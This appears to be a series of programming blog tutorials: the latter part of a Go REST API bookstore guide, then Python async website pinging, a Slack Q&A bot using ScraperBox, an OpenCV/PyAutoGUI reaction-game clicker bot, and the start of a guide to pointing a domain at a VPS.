Let's create our module by executing this command in our project root directory:

go mod init bookstore

You should see a new file inside your root directory called go.mod - so far so good :)

2. Building the API

It is time to start building our application. Open up your main.go file and insert the following code inside of it:

package main

import "bookstore/src"

func main() {
    src.Start()
}

We declared our main Go package (package main) and imported our src package along with the module bookstore prefix. Inside the function main() we will run the Start() function of package src. This is the only responsibility of our entry point file (main.go) - fire up the API.

2.1 Routes and handlers

Now we need to create our API router (Mux) and configure it by creating some endpoints and their handlers. Inside of your src package open up app.go and insert the following code inside of it:

package src

import (
    "github.com/gorilla/handlers"
    "github.com/gorilla/mux"
    "log"
    "net/http"
    "os"
)

func Start() {
    router := mux.NewRouter()
    router.Use(commonMiddleware)
    router.HandleFunc("/book", getAllBooks).Methods(http.MethodGet)
    router.HandleFunc("/book", addBook).Methods(http.MethodPost)
    router.HandleFunc("/book/{book_id:[0-9]+}", getBook).Methods(http.MethodGet)
    router.HandleFunc("/book/{book_id:[0-9]+}", updateBook).Methods(http.MethodPut)
    router.HandleFunc("/book/{book_id:[0-9]+}", deleteBook).Methods(http.MethodDelete)
    log.Fatal(http.ListenAndServe("localhost:5000", handlers.LoggingHandler(os.Stdout, router)))
}

As you can see above - we declared that app.go is part of the src package and it contains the Start() function that we used inside our main.go file. We also included two external modules that we need to install as dependencies for our bookstore module.

Execute the following commands in your terminal:

go get github.com/gorilla/handlers
go get github.com/gorilla/mux

Your go.mod file should have synced as well and it should now look something like this:

module bookstore

go 1.17

require (
    github.com/gorilla/handlers v1.5.1
    github.com/gorilla/mux v1.8.0
)

require github.com/felixge/httpsnoop v1.0.1 // indirect

Let's take a deeper look at our Start() function. First, we declared a new Mux router variable which will be responsible for the routing and handling of requests across our API. Then we told Mux that we want to include a middleware that will execute upon each request that comes to our API with the line:

router.Use(commonMiddleware)

More about middleware a bit later. If we continue to analyze our code we can finally see where we create endpoints along with handlers (callback functions) and some primitive validations. For example:

router.HandleFunc("/book/{book_id:[0-9]+}", updateBook).Methods(http.MethodPut)

This endpoint will fire up once a user hits our server at the /book/123 (or any other number) path with a PUT method. It will then pass the request to the updateBook handler function for further processing. The book_id variable has to be a number as we specified a simple validation after the variable name declaration.

Finally, we will run our server on the specific host and port combination and make it log everything to our terminal:

log.Fatal(http.ListenAndServe("localhost:5000", handlers.LoggingHandler(os.Stdout, router)))

2.2 Middlewares

As we all know - REST APIs mostly use JSON when taking requests and returning responses. That is communicated to our browsers/HTTP clients by making use of Content-Type headers. Since our API will only be using JSON-represented data, we can make use of a middleware that will make sure our content type is always set to JSON.

As mentioned earlier, the Start() method of app.go contains this line:

router.Use(commonMiddleware)

Let's open up our middlewares.go file and create the needed function:

package src

import "net/http"

func commonMiddleware(next http.Handler) http.Handler {
    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        w.Header().Set("content-type", "application/json; charset=utf-8")
        w.Header().Set("x-content-type-options", "nosniff")
        next.ServeHTTP(w, r)
    })
}

Once the user hits any of the endpoints that we registered in our Start() function to the Mux router, the middleware will intercept that request and add the two headers that we specified inside of our commonMiddleware function. It will then pass the modified request further to the handling function of the requested endpoint OR to another middleawre (in case we need more than one middleware).

2.3 Static data

Since we won't be using any data storage services (database, cache, ...) we need to have some sort of static data. Also, we will create a data type for custom responses, which I will explain later on.

Open up the data.go inside the src package and put the following inside of it:

package src

type Book struct {
    Id   int    `json:"id"`
    Title string `json:"title"`
    Author string `json:"author"`
    Genre  string `json:"genre"`
}

var booksDB = []Book{
    {Id: 123, Title: "The Hobbit", Author: "J. R. R. Tolkien", Genre: "Fantasy"},
    {Id: 456, Title: "Harry Potter and the Philosopher's Stone", Author: "J. K. Rowling", Genre: "Fantasy"},
    {Id: 789, Title: "The Little Prince", Author: "Antoine de Saint-Exupéry", Genre: "Novella"},
}

We just created a data structure that will hold the information needed for a single book inside our API. We also created json tags which will translate the field names to its JSON representation if the data type will be passed as JSON. We also created a primitive book storage system (in memory) with some initial books data (booksDB).

Add this code below the one from the above:

type CustomResponse struct {
    Code        int    `json:"code"`
    Message     string `json:"message"`
    Description string `json:"description,omitempty"`
}

var responseCodes = map[int]string {
    400: "Bad Request",
    401: "Unauthorized",
    403: "Forbidden",
    404: "Not Found",
    409: "Conflict",
    422: "Validation Error",
    429: "Too Many Requests",
    500: "Internal Server Error",
}

We just made a new data structure that will unify the errors/responses that our API will return. More on this later on.

2.4 Helpers

We will need some helpers to get the most of our API. For example, we will need to check if a book with a given ID exists (adding a new book, modifying an existing book). We will also need to delete a book with a given ID (delete book). We will also create a helper that will return a custom JSON response for a given HTTP status code.

Open up helpers.go inside of src package and insert the following inside:

package src

import (
    "encoding/json"
    "net/http"
)

func removeBook(s []Book, i int) []Book {
    if i != len(s)-1 {
        s[i] = s[len(s)-1]
    }
    return s[:len(s)-1]
}

func checkDuplicateBookId(s []Book, id int) bool {
    for _, book := range s {
        if book.Id == id {
            return true
        }
    }
    return false
}

func JSONResponse(w http.ResponseWriter, code int, desc string) {
    w.WriteHeader(code)
    message, ok := responseCodes[code]
    if !ok {
        message = "Undefined"
    }
    r := CustomResponse{
        Code:        code,
        Message:     message,
        Description: desc,
    }
    _ = json.NewEncoder(w).Encode(r)
}

The removeBook function will go over our Book slice and look for index value i. If it is not the last element of the slice, it will move it to the end of the slice and return a new slice without it (avoid the last element).

checkDuplicateBookId function will return a bool value (true or false) depending on if the given id exists inside of the Book slice.

The JSONResponse function is responsible for making use of the CustomResponse and responseCodes we created earlier on. It will return a CustomResponse JSON representation with the status code and message that responseCodes will provide. This way we will avoid having different messages across our API for the same HTTP status codes (eg. 400: Bad Request and 400: Invalid Data).

2.5 Handlers

If you made it so far, congrats :) Let's jump to the final part - putting the endpoint handlers together. Open up your handlers.go and let's type some code inside of it.

package src

import (
    "encoding/json"
    "github.com/gorilla/mux"
    "net/http"
    "strconv"
)

2.5.1 Get a single book

func getBook(w http.ResponseWriter, r *http.Request) {
    vars := mux.Vars(r)
    bookId, _ := strconv.Atoi(vars["book_id"])
    for _, book := range booksDB {
        if book.Id == bookId {
            _ = json.NewEncoder(w).Encode(book)
            return
        }
    }
    JSONResponse(w, http.StatusNotFound, "")
}

Not much is going on here. We get the passed variables from our Mux router (in our case it is just one variable that we described in app.go for this handler - book_id) and we convert it from string to int value. We iterate over our booksDB and look for the matching book ID. If it exists, we return it - if not, we return the 404: Not Found error.

2.5.2 Get all books

func getAllBooks(w http.ResponseWriter, r *http.Request) {
    _ = json.NewEncoder(w).Encode(booksDB)
}

Simple one eh? Convert the booksDB slice to JSON and return it to the user.

2.5.3 Add a new book

func addBook(w http.ResponseWriter, r *http.Request) {
    decoder := json.NewDecoder(r.Body)
    var b Book
    err := decoder.Decode(&b)
    if err != nil {
        JSONResponse(w, http.StatusBadRequest, "")
        return
    }
    if checkDuplicateBookId(booksDB, b.Id) {
        JSONResponse(w, http.StatusConflict, "")
        return
    }
    booksDB = append(booksDB, b)
    w.WriteHeader(201)
    _ = json.NewEncoder(w).Encode(b)
}

Since this one triggers on POST method, the user must provide the JSON data inside the request body that will match the Book structure:

{
    "id": 999,
    "title": "SomeTitle",
    "author": "SomeAuthor",
    "genre": "SomeGenre"
}

Once we decode and validate the JSON body against our Book struct (if it fails we will return the 400: Bad Request error), we need to check if the book with the same ID already exists. If that is the case, we return the 409: Conflict error back. Otherwise, we will append our booksDB with the user-provided book and return its JSON representation to the user.

2.5.4 Update existing book

func updateBook(w http.ResponseWriter, r *http.Request) {
    vars := mux.Vars(r)
    bookId, _ := strconv.Atoi(vars["book_id"])
    decoder := json.NewDecoder(r.Body)
    var b Book
    err := decoder.Decode(&b)
    if err != nil {
        JSONResponse(w, http.StatusBadRequest, "")
        return
    }
    for i, book := range booksDB {
        if book.Id == bookId {
            booksDB[i] = b
            _ = json.NewEncoder(w).Encode(b)
            return
        }
    }
    JSONResponse(w, http.StatusNotFound, "")
}

Almost the same as the addBook function handler with one main difference. For the book to be updated, it has to exist already (ID must be inside of the booksDB). If it exists, we will update the values of the existing book, otherwise, we will return the 404: Not Found error back.

2.5.5 Delete existing book

func deleteBook(w http.ResponseWriter, r *http.Request) {
    vars := mux.Vars(r)
    bookId, _ := strconv.Atoi(vars["book_id"])
    for i, book := range booksDB {
        if book.Id == bookId {
            booksDB = removeBook(booksDB, i)
            _ = json.NewEncoder(w).Encode(book)
            return
        }
    }
    JSONResponse(w, http.StatusNotFound, "")
}

After we get the integer value of the book_id variable, we iterate over the booksDB to find the book that the user wants to delete. If it exists, we make use of our helper removeBook function to remove the book from the Book struct slice. If it does not exist, we will return the 404: Not Found error back.

3. Running and testing the API

Now that our API is finished, let's give it a run. Execute this in your terminal:

go run main.go

Fire up your favorite HTTP client (Insomnia, Postman, ...) and try out some of the endpoints we created. Feel free to play around with your newly created Go REST API.

The final code can be found here.

Like always, thanks for reading :)

Heard of async but you never really understood what it is or why you should use it? Hopefully, this article will help you understand the idea behind asynchronous code and when you really should use it instead of synchronous code.

NOTE: Since the full code snippet is not really that long, no final code will be provided on GitLab this time.

Prerequisites

As usual — some prerequisites before you get started:

• Python 3

• aiohttp

• fake_user_agent

• requests

Usage of venv is strongly recommended to keep your python packages separated from your host machine.

1. Asynchronous programming

So far you've been using synchronous code to make your scripts/apps in Python and you obviously haven't had the need to look for asynchronous implementations (or otherwise you wouldn't be here ^^). In some cases it is perfectly fine to use synchronous code, however, in some cases, it is completely wrong to do so.

The main difference between synchronous and asynchronous programming is in the way the code executes. A synchronous program is executed one step at a time and part of your code will run until it finishes and only then another part of your code can execute. An asynchronous program still runs one step at a time but with a difference that it may not wait for the running part of code to finish (e.g. return result) before moving on to the next part of your code. I will try to explain this with a picture below.

Synchronous vs asynchronous task execution

First of all - pardon my very basic diagram drawing skills... As you can see, in both cases we have 5 tasks that we want to execute. On the left side of the diagram, you can see how synchronous task execution looks like. Each task executes and only when the task execution is finished another one can start. On the right side, you see the asynchronous task execution where all of the tasks are executed at the virtually same time, which means that after a task is executed, our code moves on to another one even if the task that was executed did not finish running. We can easily conclude that the running time of asynchronous task execution is much faster which can be seen by comparing the Time parameter on the both left and right side of the diagram.

1.1 When to use asynchronous code

While there is no definitive answer on when you should use async in Python, there are, however, some guidelines that will help you determine whether or not you should use async.

• Your code/task takes a long amount of time to complete
• I/O operations are blocking the rest of your code
• You ran several tasks one after another even though they are not dependant on each other

If your code hits any of the above targets, you should consider converting it into async code to speed things up. One practical example that I will show you will be based on the above guidelines. I want to send requests to several websites and check if I got a successful response from them. Let's jump to some good old Python coding :)

2. Python app

For benchmarking purposes, we will create both, synchronous and asynchronous, versions of the same website pinger app. Create a new Python project and along with it create a new venv that will hold our Python packages. Install the required Python packages:

pip install aiohttp
pip install fake_user_agent
pip install requests

The idea is to ping all of the Big Five websites. Create our main app.py file:

import time

import requests


GAFAM = [
    "https://google.com",
    "https://amazon.com",
    "https://facebook.com",
    "https://www.apple.com",
    "https://www.microsoft.com",
]


def sync_run() -> None:
    def _get_resp(url: str):
        resp = requests.get(url)
        if not resp.status_code == 200:
            print(f"Error: {url} - {resp.status_code}")

    for web in GAFAM:
        _get_resp(web)  


if __name__ == "__main__":
    s_start = time.time()
    sync_run()
    s_end = time.time()
    s_total = s_end - s_start
    print("sync_run: %.4f" % s_total)

As you can see, only the synchronous version of the app is in the above example. So the idea, as I said earlier, is to ping a list of websites and to check if we can get a successful (200) response from each of them. In order to do so, we will make use of requests python package. We just want to make a simple GET request and check for the response. Inside the sync_run() method we are doing just that along with printing out everything that failed with a non-successful response. If you run the code above, you will indeed get an error - Error: https://amazon.com - 503. The reason why that happened is that some websites don't really like to get scrapped (targeted by bots) and they filter out such requests. The way most of them do that is by checking the request headers for User-Agent header. That is the exact reason why we installed the fake_user_agent python package. We want our bot to act like a human and therefore we will set its User-Agent header to one of the legitimate ones that you would see coming from the user.

Let's add another constant, above the GAFAM one, called USER_AGENT along with the needed import like this:

from fake_user_agent.main import user_agent


USER_AGENT = user_agent("chrome")

Now we need to make use of the USER_AGENT constant by injecting it into the headers parameter inside of our requests call (1st line of inside the inner _get_resp() method) like this:

resp = requests.get(url, headers={"User-agent": USER_AGENT})

Your code should now be error-free upon execution. Now that the synchronous part is done, we will move on to the async counterpart. We will make use of the async alternative for the requests package called aiohttp. Also, I will show you how to run tasks in parallel by making use of the asyncio python package.

Each asynchronous method starts with the async def keywords (unlike the synchronous def keyword). These methods are called coroutines. Every coroutine needs to be await-ed in order to get the response from the method. If you do not await your coroutine, it will never return the result since it will never execute. Since we have a specific case where we want to execute multiple requests, we should create a task list that we will then execute all at once. Let's build our async version and analyze the code:

import asyncio
import time

import aiohttp
from fake_user_agent.main import user_agent


USER_AGENT = user_agent("chrome")
GAFAM = [
    "https://google.com",
    "https://amazon.com",
    "https://facebook.com",
    "https://www.apple.com",
    "https://www.microsoft.com",
]


async def async_run() -> None:
    async def _get_resp(url: str):
        async with aiohttp.ClientSession() as session:
            async with session.get(url, headers={"User-agent": USER_AGENT}) as resp:
                if not resp.status == 200:
                    print(f"Error: {url} - {resp.status}")

    tasks = []
    for web in GAFAM:
        tasks.append(_get_resp(web))
    await asyncio.gather(*tasks)


if __name__ == "__main__":
    a_start = time.time()
    asyncio.run(async_run())
    a_end = time.time()
    a_total = a_end - a_start
    print("async_run: %.4f" % a_total)

Obviously, the code is very similar to the sync version from earlier on. The key difference is that this time we execute all of the tasks (pings to the websites) together. We create a task list - tasks - that hold the calls to the inner coroutine _get_resp() with a different url parameter each time. I already mentioned that coroutines need to be await-ed in order to get the tasks to actually execute. We will achieve this by using asyncio.gather() which will run all of the tasks concurrently. Since the gather() method takes positional arguments instead of a single iterable (tasks) parameter, we need to unpack our list when using it. That way all of our tasks will be passed into gather() as separate arguments ready to be executed. The key part here is to await the asyncio.gather() in order to actually execute all of the tasks from the task list. Feel free to run the code. If you did everything ok, no errors should appear.

Benchmark/Conclusion

The final part is the merge of the two versions and checking the results. Let's do so:

import asyncio
import time

import aiohttp
import requests
from fake_user_agent.main import user_agent


USER_AGENT = user_agent("chrome")
GAFAM = [
    "https://google.com",
    "https://amazon.com",
    "https://facebook.com",
    "https://www.apple.com",
    "https://www.microsoft.com",
]


def sync_run() -> None:
    def _get_resp(url: str):
        resp = requests.get(url, headers={"User-agent": USER_AGENT})
        if not resp.status_code == 200:
            print(f"Error: {url} - {resp.status_code}")

    for web in GAFAM:
        _get_resp(web)


async def async_run() -> None:
    async def _get_resp(url: str):
        async with aiohttp.ClientSession() as session:
            async with session.get(url, headers={"User-agent": USER_AGENT}) as resp:
                if not resp.status == 200:
                    print(f"Error: {url} - {resp.status}")

    tasks = []
    for web in GAFAM:
        tasks.append(_get_resp(web))
    await asyncio.gather(*tasks)


if __name__ == "__main__":
    s_start = time.time()
    sync_run()
    s_end = time.time()
    s_total = s_end - s_start
    print("sync_run: %.4f" % s_total)
    a_start = time.time()
    asyncio.run(async_run())
    a_end = time.time()
    a_total = a_end - a_start
    print("async_run: %.4f" % a_total)
    print("async_run - sync_run: %.4f" % (s_total - a_total))

Once you run the full code you should see a huge difference between the two versions. In my case the output was:

sync_run: 2.8083
async_run: 0.8769
async_run - sync_run: 1.9315

Now, these numbers may not appear like that much of a big deal, but in reality, they actually are. We only tested five websites. Imagine what would happen if you try to check 100 000 websites. Even on this small set - in my case - we sped up our code by roughly 68.68%. Since speed is money in web development (smaller server/infrastructure cost and lower resource usage), you just saved yourself a nice amount of money just by making use of asynchronous programming :)

That would be all from me for this one — as always, thanks for reading!

This post will help you create your own know-it-all Slack bot in Python in few very easy steps. The idea is to create a Slack bot that will respond to your questions in a public Slack channel with the information it will gather from the internet. No AI will be used in this guide ;)

NOTE: If you just want to see the code, click here.

Prerequisites

First thing’s first — some prerequisites before you get started:

• Python 3

• slack-bolt

• beautifulsoup4

• requests

• Slack

• ScraperBox

As always, I recommend you make use of venv to install the required python packages once we got to the coding part :)

1. Configuring Slack

By this point, you should have a Slack account along with your workspace (if you don’t, make sure you create it). We will head over to the Slack app's dashboard and Create New App. Set the App name to “QA Bot” or something similar of your liking and select your workspace — click on Create App. Now that your bot is created, we need to configure it. Go to the “OAuth & Permissions” tab (under “Features”) on the left panel. Under the “Bot Token Scopes” add the following:

• app_mentions.read

• chat:write

Bot Token Scopes configuration

Now we need to enable “Socket Mode” for our bot. Socket mode will enable our bot to receive updates (events that occurred) directly instead of us exposing the public endpoint for Slack to ping when an event occurs. Go to the “Socket Mode” tab under “Settings” on the left side and activate the “Enable Socket Mode” toggle. You should see a popup asking you to configure an app-level token. Fill in the token name (for example qa-app-token). For the scope fill in:

• connections:write

You will be presented with a token after you hit the “Generate” button. Save that token somewhere as we will need it later on (APP_TOKEN).

Once Socket Mode is enabled, we can (and will) enable Event Subscriptions. Go to “Event Subscriptions” under “Features” in the left panel and toggle “Enable events”. Configure the “Subscribe to bot events” as per the image below.

Subscribe to bot events configuration

Under “Settings” head over to the “Install App” tab and add the app to your workspace. This will result in you getting the second token we need for later (BOT_TOKEN) under “Bot User OAuth Token”.

The only thing left is to create the public channel in your Slack workspace and invite (add) the bot user to it.

2. ScraperBox

Now that our Slack bot is configured and assigned with proper permissions we need to head over to the ScraperBox and create the free account. Since we will be gathering the information from the internet about the questions that you (or other Slack users) will be asking the QA Bot about, we need to somehow get the responses from Google. Since it is against Google’s TOS to scrape the search results, we will use ScraperBox as a 3rd party service to do this for us via API calls. After the registration process is done, head over to the dashboard to get your API Token.

ScraperBox dashboard

Save the token somewhere as it will be needed for our Python app to work.

3. Python app

Since we have met all the other prerequisites, we can start building our Python app now. Create a new Python project and along it create a new venv that will hold our Python packages. Install the required Python packages:

pip install bs4
pip install requests
pip install slack-bolt

Once that is done, we can build our main app.py file:

from typing import Callable

from slack_bolt import App
from slack_bolt.adapter.socket_mode import SocketModeHandler


APP_TOKEN = "YOUR-APP-TOKEN"
BOT_TOKEN = "YOUR-BOT-TOKEN"
app = App(token=BOT_TOKEN)


@app.event("app_mention")
def mention_handler(body: dict, say: Callable):
    print(body)
    say("got it")    


if __name__ == "__main__":
    handler = SocketModeHandler(app, APP_TOKEN)
    handler.start()

The idea is to test our bot and see how much information we can get from it once it reacts to users tagging it inside the Slack channel. Run the app.py and head over to your Slack client and tag the bot with some dummy text.

Dummy test of our new bot

Head over to your console (from where you ran the app.py) and check out the output in there — you should see some dictionary output in there containing some valuable info on all the information our bot gets from a simple mention inside the Slack channel:

{
   "token":"*******",
   "team_id":"TEAM_ID",
   "api_app_id":"APP_ID",
   "event":{
      "client_msg_id":"ea28d05d-***********",
      "type":"app_mention",
      "text":"<@BOT_ID> test",
      "user":"SENDER_ID",
      "ts":"1633536422.000600",
      "team":"TEAM_ID",
      "blocks":[
         {
            "type":"rich_text",
            "block_id":"Sq8",
            "elements":[
               {
                  "type":"rich_text_section",
                  "elements":[
                     {
                        "type":"user",
                        "user_id":"SENDER_ID"
                     },
                     {
                        "type":"text",
                        "text":" test"
                     }
                  ]
               }
            ]
         }
      ],
      "channel":"CHANNEL_ID",
      "event_ts":"1633536422.000600"
   },
   "type":"event_callback",
   "event_id":"Ev02GW7QE6QK",
   "event_time":1633536422,
   "authorizations":[
      {
         "enterprise_id":"None",
         "team_id":"TEAM_ID",
         "user_id":"BOT_ID",
         "is_bot":true,
         "is_enterprise_install":false
      }
   ],
   "is_ext_shared_channel":false,
   "event_context":"some_random_text"
}

From here we can see some information that we can use to make our bot somewhat smart. We can see the Slack ID’s for both sender and bot which we will use. Also, we can see the text that the user sent. Let’s rewrite our mention_handler to make it a bit smarter:

@app.event("app_mention")
def mention_handler(body: dict, say: Callable):
    sender_id = f"<@{body.get('event', {}).get('user')}>"
    say(f"Let me check that for you {sender_id}")
    bot_id = body.get("event", {}).get("text").split()[0]
    message = body.get("event", {}).get("text")
    message = message.replace(bot_id, "").strip()
    answer = get_answer(message)
    say(answer)

The idea here is simple — get the sender and bot ID’s and get the text that was sent by the sender after the bot mention. The problematic part is that we are missing the function get_answer that will get us the answer for the text that the user sent to the bot. Let’s go ahead and see how to make that one work. Create a new file called scraperbox.py and put this inside of it:

import requests
from bs4 import BeautifulSoup


API_TOKEN = "YOUR-SCRAPERBOX-API-TOKEN"


def _get_json_response(query: str) -> dict:
    params = {
        "token": API_TOKEN,
        "q": query,
        "proxy_location": "gb",
        "return_html": "true",
    }
    resp = requests.get("https://api.scraperbox.com/google", params=params)
    return resp.json()


def get_answer(query: str) -> str:
    answer = "No idea how to answer that :("
    resp = _get_json_response(query)

    if "html" not in resp:
        return answer

    soup = BeautifulSoup(resp["html"], "html.parser")
    el = soup.find("div", class_="kno-rdesc")

    if not el:
        return answer

    return el.span.text

A LOT is going on in the above code so I will run it down briefly (feel free to explore it more by yourself). Function _get_json_response is the one that will send the API request to the ScraperBox service and get it to make a Google search for the text that the user tagged our Bot with. The params inside are added by following the ScraperBox docs for Google. The idea is to make a Google search for the given text and get the whole HTML response back (inside a Python dictionary).

Let’s make a simple Google search for the term “who was Nikola Tesla” and see what we can get.

Google search for the term “who was Nikola Tesla”

As you can see on the image above, the right side contains a short and precise summary of the search term that we looked for. We also have this information in our Python app since we have the whole HTML response stored, we only need to find a way to extract that information from the whole HTML returned. This is where beautifulsoup4 comes in handy since it is used for parsing HTML content with Python. If we check the HTML code from the above Google results, we will find that the information we need is stored inside the div element with a class named kno-rdesc.

Div element containing the wanted information

We can use this information to parse out the wanted content, so let’s take a look at the function get_answer. First, we set the default value for the answer variable to No idea how to answer that :( — this will be used in case Google doesn’t have the answer to the user’s question. Afterward, we call _get_json_response with the query param (text that the user sent to the bot user) to get the Google search response along with the complete HTML representation. If the html is not present inside the response dictionary we will respond with the default answer. Next we parse out the HTML inside the soup object and try to find the div element with the class attribute set to kno-rdesc as per the image above. If it fails we will, again, return the default answer — otherwise, we will look for the child span element (as per structure in the above image) and return its inner text. The last thing to do is to add the needed import in our app.py :

from scraperbox import get_answer

Feel free to run the app.py and if everything goes well you should get all your questions answered by our QA Bot :)

Complete code can be found here.

Examples of our new Bot trying to answer our questions

There we go — you just made Siri / Alexa alternative for your Slack workspace — as always, thanks for reading!

Building an image recognition bot can greatly help you offload your day-to-day manual work and save you some precious time. By using PyAutoGUI along with OpenCV you can create such bots with ease :)

NOTE: if you want to skip the guide and just see the code example, click here

Prerequisites

To start this simple, yet powerful journey you should have the following installed:

• Python 3

• PyAutoGUI

• opencv-python

• numpy

• Pillow

I highly recommend that you make use of venv to install the packages. This way you will keep your host machine free and clean from project-specific packages.

1. Target

First, you need to find your target — something that has specific “triggers” that could help you automate whatever it is that you want to do. I picked Human Benchmark since they do have some fun tests there which will, later on, help us do some benchmarks too. Once you open up the site you will notice there are quite a few tests in form of mini-games there that one could try out. The one that got my attention is called Reaction Time.

Human Benchmark — Reaction Time

The concept is pretty simple — load up the game and click on the given space once the background goes green. Once you do that 5 times, you get your speed results. The question is can we create a bot that will do the task for us :)

2. Triggers

Now that you know how the game works we need to slice it up into small parts that happen along the way. In order to begin the reaction test user is asked to click on the given area in order to launch the next phase of the game.

Trigger 1 — Click to start

That is your first trigger — someone (or something :D) needs to start the game by clicking on the given area. Once you click on the area the game will start. The very next thing you will see is a big red area that asks you to do — NOTHING. Since the user is asked not to do anything unless the background turns to green color this can’t be considered a trigger, however, you get the idea of what our next trigger is.

Trigger 2 — Click as fast as you (or something else) can

So for your trigger #2, you are asked to click as soon as the red background turns into a green one. This is a perfect event for our trigger since we have, what you can consider, an image change. After you click on the green area you will be presented with a new screen that requires the user’s attention in form of a left click.

Trigger 3 — Click to keep going

You get the idea. Everything that requires a click from a user or to do any kind of interaction can be considered a trigger. So this will be your trigger #3. It is time to finish the game so feel free to play the game 5 times. You will then be presented with your average click response time. This screen is not really interesting to us since it only contains some statistics — the main game is, however, finished. Now that you know that info, we can start building the bot.

3. Building the reflex clicker

The idea for the solution is simple — take a screenshot of your screen every now and then and analyze it in order to find which trigger we need.

Recap:

• Trigger #1 — Initial click to start the game

• Trigger #2 — Click as soon as you see the green background-color

• Trigger #3 — Round results along with click action to continue to the next round (5 rounds max.)

First, you need to create the trigger images for the bot to look for once you launch it. These should be cropped-up images of the action points that I mentioned earlier (trigger pictures above). If you want to use the ones I used, feel free to check them out inside my repo. Once you have the trigger images ready we can start to slowly build our code step by step, so open up your favorite Python IDE and let’s create our first lines of code.

class ReflexClicker:
    def __init__(self):
        self.images = (
            cv.imread("img01.png"),
            cv.imread("img02.png"),
            cv.imread("img03.png"),
        )
        self.current_img = self.images[0]
        self.started = 0
        self.states = [False, False, False]
        self.click_count = 0

Trigger images are stored inside the self.images attribute which is a simple tuple that makes use of the cv.imread() method to load the image files into the memory. You need to keep track of the current image that you are looking for so we will make use of the self.current_img attribute. The attribute self.started will be just a boolean value (0 — false, 1-true). This is needed since trigger #1 just appears once per game. The other 2 triggers will run multiple times. You need to keep track of which trigger is set to execute next. To do so, make use of the self.states attribute. It’s a simple list of boolean values that tells us which triggers were already run. Finally, you want the triggers (and your script) to stop running once the game was played 5 times. To keep that counter make use of the self.click_count attribute.

You should know something before you continue your image detection bot journey. Note that the images we created are using the standard RGB color model. Well, as it turns out, OpenCV uses the BGR color model which means that our image recognition won’t really work unless we convert our images from RGB to BGR model. Let’s create a method inside our class that will grab a screenshot and convert it to BGR.

@staticmethod
def _get_image():
    img = ImageGrab.grab()
    img_cv = cv.cvtColor(np.array(img), cv.COLOR_RGB2BGR)
    return img_cv

Since OpenCV understands images as multi-dimensional arrays, you can make use of the numpy.array() method to pass the screenshot that ImageGrab.grab() created and use cv.COLOR_RGB2BGR to convert between the color models, finally returning the finalized image representation.

The next thing you need to do is to find out which trigger image we will check against the screenshot image based on which trigger you found.

def _set_image_by_state(self):
    for i, state in enumerate(self.states):
        if not state:
            self.current_img = self.images[i]
            break

We loop over all of the states and once we find the first trigger that did not run (first False value) we set the current trigger image to match the trigger. For example — if we are at trigger #1 — click to start the game — our trigger image should be this one since that is what we want our bot to find. Now we know which trigger image we will use based on states. What you need to do next is to create a method that will update the states value once the trigger click occurs.

def _update_state(self):
    for i, _ in enumerate(self.states):
        if not self.states[i]:
            if i == 1:
                self.click_count += 1
            self.states[i] = True
            break
    if all(s for s in self.states):
        self.states = [True, False, False]
        time.sleep(2)

We loop over our states and once we find the first state that did not run (value is False) we want to set it to True to mark it as finished (remember — this method will be called after click event happens). If the state is not trigger #1 you also need to increase your click counter (only do this if the game started — which means trigger #1 already passed). The last thing to check is if you passed trigger #3. Trigger #3 is the retry trigger, once you click it trigger #2 occurs again. That is why we “reset” the states values with the first value set to True — trigger #1 will never occur again since the game already started. To finalize add a sleep timer set to 2 seconds just to be able to see your reaction time before you hit trigger #2 again.

Now you need to check the actual screenshot you took against the trigger image to try and find the match. OpenCV makes this easy by using template matching. Now there are multiple ways you can use template matching and they all work differently and give out different results. I will keep it short and just go forward and tell you that you will almost always use TM_CCOEFF_NORMED for the template matching method.

def _get_score(self, ss):
    return cv.matchTemplate(ss, self.current_img, cv.TM_CCOEFF_NORMED)

We just return the array of score results trying to match the current trigger image against the screenshot you took. All that is left to do is to put the logic together and actually make use of PyAutoGui

def run(self):
    self._set_image_by_state()
    ss = self._get_image()
    res = self._get_score(ss)

    if (res >= 0.8).any():
        h, w = self.current_img.shape[:-1]
        loc = cv.minMaxLoc(res)[-1]
        pg.moveTo(loc[0] + w // 2, loc[1] + h // 2)
        self._update_state()
        pg.click()

    if self.click_count < 5:
        self.run()

The flow should go like this — set the trigger image that we look for based on the current trigger (states), create the screenshot, evaluate the trigger image against the screenshot, and if the score is 80% or more we got our match. Then get the trigger image width and height and find the coordinates of where the trigger image was found on the screenshot. By using PyAutoGUI, position the mouse on the center of the trigger image, update the state for the next trigger and make the click. Repeat the run 5 times.

You can check the final code here or take a look at the demo video below.

4. Benchmarks

You may wonder why we use OpenCV at all since PyAutoGUI has its own image detection mechanism. Short answer — speed. Now I won’t throw you my own benchmarks since I referred to this post when I made the decision to try OpenCV out. What I will, however, encourage you to look at is a bonus script for another game on Human Benchmarks that you can find here. Once you get it, run it once with render = "pg" and then switch it to render = "cv" and check the results.

That’s it for this time — as always, thanks for reading!

We’ve all been there - you have your perfect website ready, you bought that awesome domain name and your VPS is ready to host it, but you have no idea how to put it out there in the world… Hopefully this guide will help you out with this common issue most of us faced at some point.

Prerequisites

To follow this guide you should have the following prerequisites:

• domain name

• VPS server

• git knowledge

• basic knowledge of GitLab CI/CD

• basic knowledge of Docker/docker-compose

• static (HTML) website

Even if you don’t know what Docker and docker-compose are, you can still follow the guide since deep knowledge of the two is not required and I’m confident that you will be able to complete our goal.

1. Pointing your domain to your VPS

Your VPS will store your website on its storage drive, but how do you reach your VPS by using your domain when your VPS only has a public IP address? DNS to the rescue. Your VPS hosting provider “equipped” you with its own DNS resolver - a handy tool that will help us connect your domain and your VPS server. On the other side, your domain registrar allows you to use custom nameservers. Nameservers will tell your domain where to look for a DNS resolver that will then resolve your domain to the target server’s public IP address - your own VPS. In this example, I will be using InterServer as my VPS provider (with Ubuntu 20.04 installed) and the configuration that I will show will reflect their nameservers/DNS resolver.

First fire up your domain registrar dashboard for the domain that you want to use. Somewhere in the settings, you should find something similar to the picture below (depends on the registrar you are using).

Using InterServer nameservers from the domain manager

As you can see, we instructed our domain to use InterServer nameservers to hit the domain resolver there.

Now we need to configure the DNS resolver. First login to InterServer (or whoever you picked to be your hosting provider) client area and look for your VPS there. We need to look for the public IP address.

List of all available VPS servers with public IP’s

Once we have the IP address of the VPS instance we want to use, we need to instruct our DNS resolver to forward every request that comes from our domain to the target VPS’s IP address. InterServer’s DNS manager can be found in the navigation menu under More -> DNS manager. We have the option there to input our domain name and the IP address we want to forward (resolve) it to.

DNS Manager

